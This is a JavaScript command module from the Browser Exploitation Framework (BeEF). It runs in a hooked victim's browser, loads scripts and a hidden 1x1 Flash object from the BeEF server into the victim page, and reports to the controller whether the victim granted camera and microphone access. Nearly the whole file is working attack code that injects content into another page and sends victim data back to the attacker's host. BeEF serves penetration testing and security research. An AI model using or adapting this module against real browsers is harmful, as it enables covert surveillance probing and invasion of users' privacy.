// // Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { //These 3 functions [naPermissions() The camera is not available or not supported // yesPermissions() The user is allowing access to the camera / mic // yesPermissions() The user has not allowed access to the camera / mic // Flash will invoke these functions directly. //var js_functions = ''; //These functions are global so they can accessed by the cameraCheck.swf file noPermissions = function() { beef.net.send("<%= @command_url %>",<%= @command_id %>,"result=The user has not allowed BeEF to access the camera :("); } yesPermissions = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has allowed BeEF to access the camera :D"); } naPermissions = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Camera not supported / available :/&unmount=true"); } //After the swfobject loads the SWF file, this callback sends a status back to BeEF var swfobjectCallback = function(e) { if(e.success){ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject successfully added flash object to the victim page"); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed."); } } //This is the DIV for the flash object var body_flash_container = '
'; $j('body').append(body_flash_container); // Lets execute swfobject.js // If it works, we then run it to embed the swf file into the above div $j.getScript(beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js',function(data,txtStatus,jqxhr) { var flashvars = {}; var parameters = {}; parameters.scale = "noscale"; parameters.wmode = "opaque"; parameters.allowFullScreen = "true"; parameters.allowScriptAccess = "always"; var attributes = {}; swfobject.embedSWF(beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/cameraCheck.swf', "main", "1", "1", "9", "expressInstall.swf", flashvars, parameters, attributes, swfobjectCallback); }); //A library that helps include the swf file //var swfobject_script = '' //This is the javascript that actually calls the swfobject library to include the swf file //var include_script = ''; //Add flash content //$j('body').append(js_functions, swfobject_script, body_flash_container, include_script); });